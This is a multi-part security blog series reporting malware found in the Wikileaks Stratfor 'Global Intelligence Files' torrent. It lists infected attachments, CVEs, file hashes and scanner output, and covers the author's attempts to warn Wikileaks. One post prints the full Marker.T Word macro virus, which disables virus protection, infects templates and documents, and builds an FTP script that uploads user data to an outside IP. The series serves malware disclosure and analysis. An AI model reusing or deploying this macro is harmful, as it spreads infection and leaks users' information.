Hector Monsegur (formerly sabu of Lulzsec) has responded to my analysis of the Wikileaks Global Intelligence Files

Some time ago I wrote two blog posts about my discovery about a series of malware-infected files within a torrent being circulated by global whistleblower organization Wikileaks.

The torrent file was one of the latest versions of what Wikileaks has named the "Global Intelligence Files" - a large cache of documents obtained from the email spool of a government contractor known as Stratfor.

Since my discovery I have made several attempts to contact Wikileaks:

In addition to Twitter I have attempted to email just about every address I could find on their site (none of them work), as well as attempting to use the chat function mentioned on the Wikileaks Twitter feed. I have been unable to receive a response. Users must be notified when a file transfer contains malware; particularly given the sensitive nature of the documents in question.

This afternoon I received a series of comments on Twitter from former Lulzsec member Hector Monsegur. In his comments, Monsegur denies instigating the attack that lead to the release of the Stratfor files while confirming the danger of the malware contained in the files I identified:



Hector Monsegur Josh Wieder sabu lulzsec Wikileaks
Hector Monsegur during an interview with CBS
I responded to Hector's comments by thanking him for his input, putting forth my own theory that the malware contained in the document dumps is typical of snowshoe-spam malware infiltration techniques and reiterated the importance of Wikileaks notifying users of the danger of downloading malware contained in the torrent in question:


As of this writing (3PM @ 7-13-2015) Wikileaks continues to provide a torrent file with an identical timestamp, filename and byte size as the one I analyzed without any warning message notifying users of the danger of handling the files.

To return to the first post in our series on the Wikileaks / Strafor email malware click here.

If you are looking for the second post, where we look briefly inside one of the executables click here.

And here is a link to the next post in my Wikileaks / Strafor email malware series, where I demonstrate how the malware is available file by file on the Wikileaks.Org website, and not just within the torrent as I originally suspected.

Tuesday, March 31, 2015

Wikileaks Malware Analysis Continued

Yesterday I released a blog post in which I explained that at least one Wikileaks property, wlstorage.net, is distributing a series of malicious programs as part of a torrent file dump related to the Global Intelligence Files retrieved from Stratfor by Jeremy Hammond and several others.

I am slowly going through the malicious files in order to better understand what they are attempting to do. The work primarily involves extracting Visual Basic macros and OBE structures from documents, disassembling executables that are thus scraped from the payload document. Even for files using well documented exploits, as many of these files are, this is slow-going and tedious work that I invite readers experienced in security research to contact me about to offer assistance.

One such executable retrieved from the Stratfor files is gifiles-2014\gifiles\attach\151\151784_Command.com. As with the files reviewed yesterday, this was retrieved from the gifiles-2014.tar.gz.torrent file downloaded from wlstorage.net, which resides on the same servers as wikileaks.org. I have disassembled this executable using Heaven Tools' PE Explorer and Hex-Rays IDA. Accordingly I have determined that the file contains a variant of the Magistr worm. However, this version seems to have a number of unique features that I have not seen in the literature concerning Magistr (NOTE there are numerous versions of this worm, and this one has likely been seen before by someone).

The program makes use of the following DLL's to call its various functions:

KERNEL32.dll
USER32.dll
COMCTL32.dll
WININET.dll
cmpbk32.dll
cmutil.dll

The program adds an entry for itself in the Microsoft Connection Manager Phone Books and uses that entry to establish both FTP and HTTP connections. I am still working on where the connections head to.
Josh Wieder, Wikileaks, Global Intelligence Files, malware, MSCM Phone Book
The program loads the MSCM Phone Book
Josh Wieder, Wikileaks, Global Intelligence Files, FTP, Connection Manager
Connection Manager is used to establish an FTP connection and transfer files
Josh Wieder, Wikileaks, Global Intelligence Files, malware, HTTP Connections
HTTP connections are established as well
The malicious program appears to pass itself of as a program called iPassConnect by creating references to the following:

PBUPDATE.PBD
PBUPDATE.EXE
PBUPDATE.INF
PBUPDATE.VER

Here is one such reference:

Josh Wieder, Wikileaks, Global Intelligence Files, iPassConnect, PBUPDATE,EXE
PBUPDATE.EXE is associated with iPassConnect
I will continue the testing of this application and update this post when I nail down where these connections are going to.

I am more than happy to share more comprehensive information concerning my research, so feel free to email me if you would like to help out.

I have also contacted Wikileaks (to the best of my ability) to warn them of the dangerous files being distributed on wlstorage.net. For a number of reasons they are not the easiest people to get ahold of, particularly in relation to technical issues, and I do not know anyone directly affiliated with the group. If someone reading this post does have a more direct means of communication with Wikileaks, please provide them with this information ASAP!

Monday, March 30, 2015

Wikileaks Global Intelligence File Dump is Loaded With Malicious Software

Click here for the second post on this topic, which includes more detailed technical information.

Hector Monsegur, formerly sabu of Lulzsec, has offered his point of view on this post. Get his opinion by reading my third post on the topic.

In my fourth post on this topic, I explain how malware is not limited to the Stratfor leak torrent - curated links throughout the Wikileaks.Org website allow users to download individual infected files.

This series of posts is beginning to receive coverage from several newspapers around the world. German speakers should check out the story in Neue Zürcher Zeitung / New Zurich Times. For English speakers, I recommend The Register from the UK for an excellent summary of these findings.

Beginning in February 27, 2012, the controversial news organization Wikileaks has been publishing a large and growing trove of emails from the private intelligence firm Strategic Forecasting, Inc (more widely known as Stratfor). The leak publication began with 200 emails, with Wikileaks progressively publishing more and more emails through the final publication date of July 18, 2014, at which time a single file containing over 5 million emails was published.

The source of the content was Jeremy Hammond, working in concert with Hector Xavier Monsegur as part of the group AntiSec. Hammond is currently in prison for the hack. Monsegur remains free; he was an FBI informant at the time of the hack and the release of the files. While the hack is attributed to Hammond, reliable sources are indicating that it was Monsegur who instigated the attack while he worked for the FBI. (NOTE: Hector X. Monsegnur has personally responded to this blog post and has denied this characterization of what happened. My only information on the history of the documents was obtained through media sources and court documents, which are often not reliable. I have not attempted to contact Jeremy Hammond. I only included this very brief foreward in an attempt to explain the history of the documents; which is still contested.)

It has been widely reported that Monsegur used an FBI-provided laptop and often worked full-time from an FBI office New York during the nine month period that the #antisec and #lulzsec released their widely distributed hacks, including the Stratfor job. To confuse matters further, court documents include reference to a third party, someone named Hyrriiya, who provided information critical to the Stratfor intrusion.

The content of the emails, though of obvious political and social significance, is not relevant to our post here. Newspapers around the world have spent a significant amount of time reporting on those leaks. However, no one appears to have noticed that a significant number of the files included in the leak contain malicious files that are designed to, among other things, retrieve detailed information about the computers which have downloaded them and send them to a variety of remote systems. 

My research at this time is still in progress, however given the wide circulation of this data & the apparent lack of notification of the danger in these files has convinced me to publish what little I have found immediately. 

I ought to be clear from the outset: I have no information linking Wikileaks, Asssange, Hammond, Monsegur, the FBI or anyone else directly with these malicious files. That very well may change quickly as research progresses, but at no point should this post be considered finger pointing. The purpose of this post is not to assign responsibility but to ensure that the journalists and activists downloading these files or who have already downloaded these files understand the consequences and take proper precautions. If I can encourage security researchers to take a look at these files it would be a bonus.

The files in question are not being distributed directly through the wikileaks.org domain, but through a secondary domain wlstorage.net. While the domains are separate, the wlstorage.net is linked directly from the Wikileak Global Intelligence Files web page (at https://wikileaks.org/gifiles), the two share the same SSL certificate as well as the same IP addresses. This would seem to (but doesn't entirely) rule out the notion that traffic is being diverted from Wikileaks to a fake server to fool users to download the malicious files.


# host wikileaks.org
wikileaks.org has address 195.35.109.53
wikileaks.org has address 91.218.114.210
wikileaks.org has address 91.218.244.152
wikileaks.org has address 95.211.113.131
wikileaks.org has address 95.211.113.154
wikileaks.org has address 195.35.109.44
wikileaks.org mail is handled by 1 mx.wikileaks.org.

# host wlstorage.net
wlstorage.net has address 91.218.114.210
wlstorage.net has address 91.218.244.152
wlstorage.net has address 95.211.113.131
wlstorage.net has address 95.211.113.154
wlstorage.net has address 195.35.109.44
wlstorage.net has address 195.35.109.53

Josh Wieder, Wikileaks, Global Intelligence Files
The Wikileaks.Org Global Intelligence Files web page
Josh Wieder, Wikileaks, Global Intelligence Files, wlstorage.net, torrent
The link to wlstorage.net from Wikileaks
The link to wlstorage.net points to a list of torrent files. As mentioned previously, Wikileaks began with a small initial leak of documents, and released progressively more documents. Each of these torrents is a different version of the leak, which over time grew to include more and more files as they were apparently reviewed by the Wikileaks team. Notice that the very last torrent uses a different compression method and file nomenclature than the rest of the torrents. It is this very last file, and this file only, that I have identified malware inside of.
Josh Wieder, Wikileaks, Global Intelligence Files, Torrent, index page
The Global Intelligence Files torrent files on wlstorage.net
The SSL Certificate for both domains is the same:
issuer= /C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA
subject= /OU=Domain Control Validated/OU=Gandi Standard Wildcard SSL/CN=*.wikileaks.org
notBefore=Oct 14 00:00:00 2013 GMT
notAfter=Oct 14 23:59:59 2015 GMT
00b5f826
SHA1 Fingerprint=10:B3:D9:66:7F:BC:57:B5:C1:CF:98:5B:16:E3:EC:61:A4:C3:ED:32

# echo |\
> openssl s_client -connect wikileaks.org:443 2>&1 |\
> sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgIQKAc9xHmKh6q3z95GsMA9IjANBgkqhkiG9w0BAQUFADBB
MQswCQYDVQQGEwJGUjESMBAGA1UEChMJR0FOREkgU0FTMR4wHAYDVQQDExVHYW5k
aSBTdGFuZGFyZCBTU0wgQ0EwHhcNMTMxMDE0MDAwMDAwWhcNMTUxMDE0MjM1OTU5
WjBjMSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxJDAiBgNVBAsT
G0dhbmRpIFN0YW5kYXJkIFdpbGRjYXJkIFNTTDEYMBYGA1UEAxQPKi53aWtpbGVh
a3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwpQwc3GxL/BS
gnQyIoYth18lqHwl70IYbPrM1rJnQ/kgnTOBE2ztEI8DGWAxoxZaeV7XckCTproL
u6lVFQlNQWW8FxhqFwSpC6NkVUoYDcSKnxwrj9UUy15BpGwmMCUOcnIe0U1YUfGo
hzJAzoqWEmXvaYnC8iIrv2Yd+jT511/Q38hjcQWJUOxQl8XNPbuQmD1WHYhH252j
tEiTo9W72fhQa9Gdzxy2J4223n3iK4vQZx+RSwBF7JpbhUpCWXKqOnf6oboDtwsS
TDzVpdiaMUh2PhdqJR0E+dkX3h0WT1ShLiKkb3zc0D3pRoCFRLEZXMQeDCM0aLco
NHxIe4lGQwIDAQABo4IBuDCCAbQwHwYDVR0jBBgwFoAUtqj/oqgv0KbNS7Fo8+dQ
EDGneSEwHQYDVR0OBBYEFGs9iHIkjSj3V1CgThX0Fs+sNogDMA4GA1UdDwEB/wQE
AwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcD
AjBgBgNVHSAEWTBXMEsGCysGAQQBsjEBAgIaMDwwOgYIKwYBBQUHAgEWLmh0dHA6
Ly93d3cuZ2FuZGkubmV0L2NvbnRyYWN0cy9mci9zc2wvY3BzL3BkZi8wCAYGZ4EM
AQIBMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuZ2FuZGkubmV0L0dhbmRp
U3RhbmRhcmRTU0xDQS5jcmwwagYIKwYBBQUHAQEEXjBcMDcGCCsGAQUFBzAChito
dHRwOi8vY3J0LmdhbmRpLm5ldC9HYW5kaVN0YW5kYXJkU1NMQ0EuY3J0MCEGCCsG
AQUFBzABhhVodHRwOi8vb2NzcC5nYW5kaS5uZXQwKQYDVR0RBCIwIIIPKi53aWtp
bGVha3Mub3Jngg13aWtpbGVha3Mub3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAXlibh
e0R/kZ6eBGahIhYiy4fAWylbB4/G+k9OKFuz55e43aw5ADB2BGQtY3FSzghL4chn
uYBZNBHxsOeDnOisu1hxDxSLjG5oofJFzmNryOxrI2f9aC0sbGAauxM5+Wsj6kw9
ghylh6Tp6Q5X01jXlD91LD5M74NwUDrTd0Sdl1rB7A8LjEvdVTnlmzxAJDK7VQHX
fa+RXiPBqCgTaRTgBh6s7BRssMAX0P80cdTu8EkiNUODh6hmXnqKhuHLcdu9CELc
tz3okx9jRNmFP1Wp0Z7WupYUNcdMPSWEMLBjm6vYT54jFtIVeNK0sChmWxiADFBr
ElIzcmpt7JexUF8K
-----END CERTIFICATE-----


echo |\
> openssl s_client -connect wlstorage.net:443 2>&1 |\
> sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgIQKAc9xHmKh6q3z95GsMA9IjANBgkqhkiG9w0BAQUFADBB
MQswCQYDVQQGEwJGUjESMBAGA1UEChMJR0FOREkgU0FTMR4wHAYDVQQDExVHYW5k
aSBTdGFuZGFyZCBTU0wgQ0EwHhcNMTMxMDE0MDAwMDAwWhcNMTUxMDE0MjM1OTU5
WjBjMSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxJDAiBgNVBAsT
G0dhbmRpIFN0YW5kYXJkIFdpbGRjYXJkIFNTTDEYMBYGA1UEAxQPKi53aWtpbGVh
a3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwpQwc3GxL/BS
gnQyIoYth18lqHwl70IYbPrM1rJnQ/kgnTOBE2ztEI8DGWAxoxZaeV7XckCTproL
u6lVFQlNQWW8FxhqFwSpC6NkVUoYDcSKnxwrj9UUy15BpGwmMCUOcnIe0U1YUfGo
hzJAzoqWEmXvaYnC8iIrv2Yd+jT511/Q38hjcQWJUOxQl8XNPbuQmD1WHYhH252j
tEiTo9W72fhQa9Gdzxy2J4223n3iK4vQZx+RSwBF7JpbhUpCWXKqOnf6oboDtwsS
TDzVpdiaMUh2PhdqJR0E+dkX3h0WT1ShLiKkb3zc0D3pRoCFRLEZXMQeDCM0aLco
NHxIe4lGQwIDAQABo4IBuDCCAbQwHwYDVR0jBBgwFoAUtqj/oqgv0KbNS7Fo8+dQ
EDGneSEwHQYDVR0OBBYEFGs9iHIkjSj3V1CgThX0Fs+sNogDMA4GA1UdDwEB/wQE
AwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcD
AjBgBgNVHSAEWTBXMEsGCysGAQQBsjEBAgIaMDwwOgYIKwYBBQUHAgEWLmh0dHA6
Ly93d3cuZ2FuZGkubmV0L2NvbnRyYWN0cy9mci9zc2wvY3BzL3BkZi8wCAYGZ4EM
AQIBMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuZ2FuZGkubmV0L0dhbmRp
U3RhbmRhcmRTU0xDQS5jcmwwagYIKwYBBQUHAQEEXjBcMDcGCCsGAQUFBzAChito
dHRwOi8vY3J0LmdhbmRpLm5ldC9HYW5kaVN0YW5kYXJkU1NMQ0EuY3J0MCEGCCsG
AQUFBzABhhVodHRwOi8vb2NzcC5nYW5kaS5uZXQwKQYDVR0RBCIwIIIPKi53aWtp
bGVha3Mub3Jngg13aWtpbGVha3Mub3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAXlibh
e0R/kZ6eBGahIhYiy4fAWylbB4/G+k9OKFuz55e43aw5ADB2BGQtY3FSzghL4chn
uYBZNBHxsOeDnOisu1hxDxSLjG5oofJFzmNryOxrI2f9aC0sbGAauxM5+Wsj6kw9
ghylh6Tp6Q5X01jXlD91LD5M74NwUDrTd0Sdl1rB7A8LjEvdVTnlmzxAJDK7VQHX
fa+RXiPBqCgTaRTgBh6s7BRssMAX0P80cdTu8EkiNUODh6hmXnqKhuHLcdu9CELc
tz3okx9jRNmFP1Wp0Z7WupYUNcdMPSWEMLBjm6vYT54jFtIVeNK0sChmWxiADFBr
ElIzcmpt7JexUF8K
-----END CERTIFICATE-----

I have reviewed the last two file dumps listed in the wlstorage.net torrent list: gifiles-20121104151320.7z & gifiles-2014.tar.bz2. I was unable to identify any malware in 20121104151320.7z - which is notable for a number of reasons. Each of these files is massive - gifiles-20121104151320.7z is close to 3GB while compressed. However, gifiles-2014.tar.bz2 is 9x the size of gifiles-20121104151320.7z. The two files also use a different encryption scheme. 7zip is a Windows compression program, and 7zip was used to make every gifiles torrent dump except for gifiles-2014.tar.bz2 - which uses Tar and BZip, used commonly in Windows & Linux. Its reasonable to assume that gifiles-2014.tar.bz2 was created on a different computer than all of the other distributions. 

I've identified the following exploits being used:


MARKER.T 
CVE-2006-2492
CVE-2009-0557 
CVE-2011-0611 
CVE-2010-3333 
HEAPSPRAY 
Mydoom 
Magistr 
Pdfjsc.BP 
Wordjmp.gen 
Mimail 

The software vulnerable to these exploits is (version omitted while research is in progress): 

Adobe Acrobat
Adobe Flash Player
ActiveX
Microsoft Office
Microsoft Office for Mac
Open XML File Format Converter

These exploits are contained in the following files:

gifiles-2014\gifiles\attach\6\6566_The Split Betw.doc
gifiles-2014\gifiles\attach\19\19701_MASY - Q MASY HUMINT.doc
gifiles-2014\gifiles\attach\19\19719_List of Addresses - Advance Copies.doc
gifiles-2014\gifiles\attach\152\152977_Happy vacation.pdf
gifiles-2014\gifiles\attach\18\18714_Research_and_R.xls
gifiles-2014\gifiles\attach\117\117687_Lithium.doc
gifiles-2014\gifiles\attach\117\117870_Hybrid write-up2.doc
gifiles-2014\gifiles\attach\117\117793_Hybrid write-up.doc
gifiles-2014\gifiles\attach\47\47247_US Congress re.doc
gifiles-2014\gifiles\attach\47\47329_US Congress re.doc
gifiles-2014\gifiles\attach\52\52004_IRAN_STRAIT_PART.pdf
gifiles-2014\gifiles\attach\151\151784_Command.com
gifiles-2014\gifiles\attach\151\151098_text.zip->(Zip)
gifiles-2014\gifiles\attach\151\151098_text.zip->text.exe
gifiles-2014\gifiles\attach\119\119443_Russia Data Requests.doc
gifiles-2014\gifiles\attach\142\142345_photos.zip->(Zip)
gifiles-2014\gifiles\attach\142\142345_photos.zip->photos.jpg.exe
gifiles-2014\gifiles\attach\146\146924_message.zip->(Zip)
gifiles-2014\gifiles\attach\146\146924_message.zip->message.exe
gifiles-2014\gifiles\attach\17\17102_Draft scenarios for Libya_0416.pdf

These attachments are just phishing nonsense and dont contain malicious software but if you scan this dump with an antivirus they may cause a positive:

gifiles-2014\gifiles\docs\34\3485657_your-friend-cj-saw-miniture-tesla-generator-in-action-live.html
gifiles-2014\gifiles\attach\20\20497_PP-001-460-891-520.html

I have been working on extracting the payloads from the .DOC files first before moving on to the .PDFs and attempting to decompile the few executables. I have been able to confirm that the exploits and payloads in 117687_Lithium.doc, 117870_Hybrid write-up2.doc and 17793_Hybrid write-up.doc are identical. Here are the relevant signatures for the files:

117687_Lithium.doc
md5 6451dc0fc47122e75e3af66c9547d420
sha1 88eaf2aaa211d761c190d310d181f9f4e8d3853b
sha256 34b2bb5d9ac4abbf39d303dadabd3c6e45033643070bd3636ccab74b37d6f2d2

17793_Hybrid write-up.doc
md5 87114142e32fd455b525c900e4342475
sha1 cfda55de190f6b71434b4a4b66b2a372773133db
sha256 9bde32a6679339263d69a23da7b971ffb5c9882fbae9be311eeb28c49e817358

117870_Hybrid write-up2.doc
md5 6fde4a58f42deba3613030cbb93aef2b
sha1 07191e232304f3c7853e18916bb89f8af4cda3b1
sha256 32473591c2aa8bb96f9d48b224726f39480327606eb35641a2b4f2493af81655

Each of these three documents contains the following Visual Basic macro, a classic Marker.T that is well over 10 years old:
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
  End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
  'Infect the NormalTemplate
  If DocumentInfected = True Then
    SaveNormalTemplate = NormalTemplate.Saved
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
      'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i
    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)
    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    If SaveNormalTemplate = True Then NormalTemplate.Save
  End If
  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
    SaveDocument = ActiveDocument.Saved
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    If SaveDocument = True Then ActiveDocument.Save
  End If
End If
End Sub

We shouldn't be convinced that this is the entire payload. The IP address included here has been recorded as a part of Marker.T since 2002. Just to be on the safe side, I tried it - there are no FTP connections being accepted at 209.201.88.110, which looks like it is assigned to a Vietnamese restaurant in New Jersey.

Using OfficeMalScanner provides further information:


[*] SCAN mode selected
[*] Opening file 117870_Hybrid write-up2.doc
[*] Filesize is 604672 (0x93a00) Bytes
[*] Ms Office OLE2 Compound Format document detected
[*] Scanning now...

             +++++ decryption loop detected at offset: 0x00019eb8 +++++


33C9                               xor ecx, ecx
E7EE                               out EEh, eax
2974E835                           sub [eax+ebp*8+35h], esi
79F7                               jns $-07h
34A2                               xor al, A2h
12F5                               adc dh, ch
72F7                               jb $-07h
94                                 xchg esp, eax
BA0EE6EEA9                         mov edx, A9EEE60Eh
7909                               jns $+0Bh
E615                               out 15h, al
774F                               jnbe $+51h
51                                 push ecx
B42F                               mov ah, 2Fh
EE                                 out dx, al
9E                                 sahf 
--------------------------------------------------------------------------


Brute-forcing for encrypted PE- and embedded OLE-files now...
Bruting XOR Key: 0x01
....

Analysis finished!

------------------------------------------------------------------------
117870_Hybrid write-up2.doc seems to be malicious! Malicious Index = 10
------------------------------------------------------------------------

There appears to be an additional payload in these files that is encrypted, in addition to the VBScript macro that sits on top. Uncovering it will take me a bit more time.

In addition to these three files I have also been working on a fourth file that makes use of a different set of exploits, 6566_TheSplitBetw.doc. Don't be fooled by the .DOC extension, this is an RTF file. 6566_TheSplitBetw.doc uses a classic RTF exploit: CVE-2010-3333.

md5 d93e2a5f8ac23824abc07f536aa4c50d
sha1 87584d1f761c3d8f34c4077da5aeadd4b1a470ca
sha256 e74fc919fba1cc8e9bc9680f026df8d4875c9f0f5864596445859ff916898b38

This exploit has been used in a number of attacks. In June 2011 a University of Louisville email server began sending out an email with an attachment claiming to be an "Insider's Guide to Military Benefits". The body of the email appeared to target Naval officers:

-----Original Message-----
From: CDR Courtney Bricks [mailto:cbricks@gmail.com] 
Sent: Tuesday, May 31, 2011 11:23 PM
To: xxxxxx
Subject: Defense News article of interest


Sir,
Defense News article by Chris Cavas, from your interview last week is pasted below.  Article appeared as a straight Q and A story, everything reads balanced and fair.  Please let me know if you have any questions or concerns.

V/r,
Courtney

The U.S. Navy's major shipbuilding and aviation programs are largely setting into stability, but questions are rising about the strategic outlook for the Navy and Marine Corps and the forces they will need in the future, all in the context of a declining defense budget.
Navy Under Secretary Robert Work is in the center of the effort to define the Navy Department's direction and map out its future roles.


Then again in May of 2011 the same exploit was used as an attachment to an email titled "Courier who led U.S. to Osama bin Laden's hideout identified" which was sent to a significant number of US government email addresses.

Both times the payload was different. The exploit is a Metasploit module. It's been patched by Microsoft since 2010.

I've been working on reverse engineering this code as well. This file does not contain VBScript macros. The most interesting tidbit I have found apart from what is already well-documented about this exploit was recovered by scraping a bit of the shell code using this Python script (Javascript needs to be enabled to see the github embed, or you can view it here instead - the extraction script was provided by Alexander Hanel, though Mr Hanel did not collaborate on this project):


This is what was recovered (another github embed that can be viewed here for those who don't trust someone else's javascript):



I am still in the process of investigating this however I am particularly interested in the creation of an executable, C:\a.exe as well as a secondary RTF file, Tripolitania.RTF. Tripolitania, incidentally, was the name for the Libyan city of Tripoli in the early 20th century, when it was an Italian colony. These Stratfor guys do seem to have an interest in history (NOTE: Tripolitania.RTF appears to be the name of the first version of this document). I've recovered a little bit of the actual text of the attachment, and it looks like it was culled from a web page from Students for a Free Tibet:

"Lobby your government leaders to speak up for Tibet and protest Chinese leaders when they travel abroad. Take part in international days of action and commemorate historic dates within the Tibet movement."

At this point very little conclusions can be drawn from this information besides the obvious: those downloading this content from Wikileaks must use significant security measures to ensure the safety and reliability of their computing systems. Media organizations, including Wikileaks, are publishing email attachments like the ones I have identified as infected with malware here as part of their coverage of these document leaks. It is possible, for example, to search and download emails and attachments from the Wikileaks site. It does not take a wild imagination to figure that those initially reviewing these documents could take significant security precautions, while such precautions become less vital through the editing process until very few precautions are taken by the end user, who expect this content to be sanitized before it is provided to them by a media organization.

When downloading and viewing these files, most are attempting to protect themselves from surveillance; things like NSA's XKEYSCORE. Few users are expecting the leaked files themselves to be a threat. While there is overlap between the sort of security precautions that would protect a computer against outside surveillance and infected files, there are significant differences. For example, if air gapping can be an effective deterrent against surveillance and some of the worst features of malware. However, the threat from surveillance is often considered transitory. After performing the task which needs to be protected from prying eyes, a user might not find it unreasonable to break their airgap and reconnect to the internet after deleting their secret files. Alternatively, a user might rely on a USB stick to transfer applications or files from the air-gapped computer to a network-available computer. All such activity are easily exploited by malicious software. To use a somewhat related analogy - Tor won't protect you from a keylogger.

This is why notification of malicious software in these files is important: so users can adjust their operational security plans to adjust for it.

There are a number of theories that could account for the presence of this malicious software. Perhaps the least-wildeyed of those theories is that Statfor employees were receiving these malicious files through email. Whether or not those employees did anything with those malicious files, they could have been retrieved by Lulzsec, who in turn provided them to Wikileaks. The data is indeed massive, over 5.5 million emails. Perhaps so massive that ~ two years was not long enough to properly review and sanitize these files prior to their complete publication in 2014 (from the time they were received by WL sometime around 2012).

That is not the only explanation. The Snowden revelations have spelled out in plain detail how the same organizations that have been very invested in the destruction of Wikileaks could very well be capable of putting malicious software into a remote server, or to redirect a file transfer so that malicious software was transferred.

This post should not be construed as a warning to avoid paying close attention to media coverage of intelligence controversies because of the threat of malicious software. Quite the opposite, really. The information contained in these "Global Intelligence Files" are of critical social importance. People around the world should be able to inform themselves without putting themselves at undue risk.

The good news is this: the malware I have so far identified is old. So old that those using the latest versions of the software noted as vulnerable earlier are very likely safe even when executing these files. I scanned a number of these files using Virus Total, and a significant number of anti-virus applications were able to detect an issue with the files. The flipside of this positive spin is that at best only half of the popular antivirus applications I used to test these files (I tested using roughly 70 antivirus programs) detected malicious software. Some files were only detected by 15 antivirus programs.

One last note: I will almost certainly be updating this post and writing additional information about what I find as I continue my research. This is very much a "work in progress". I welcome all additional information, particularly information that conflicts with or adds to what I have found so far.

NOTE: my second post on this on this topic is online, and contains further malware analysis.

Hector Monsegur, formerly sabu of Lulzsec, contacted me. Our discussion is available on my third post.

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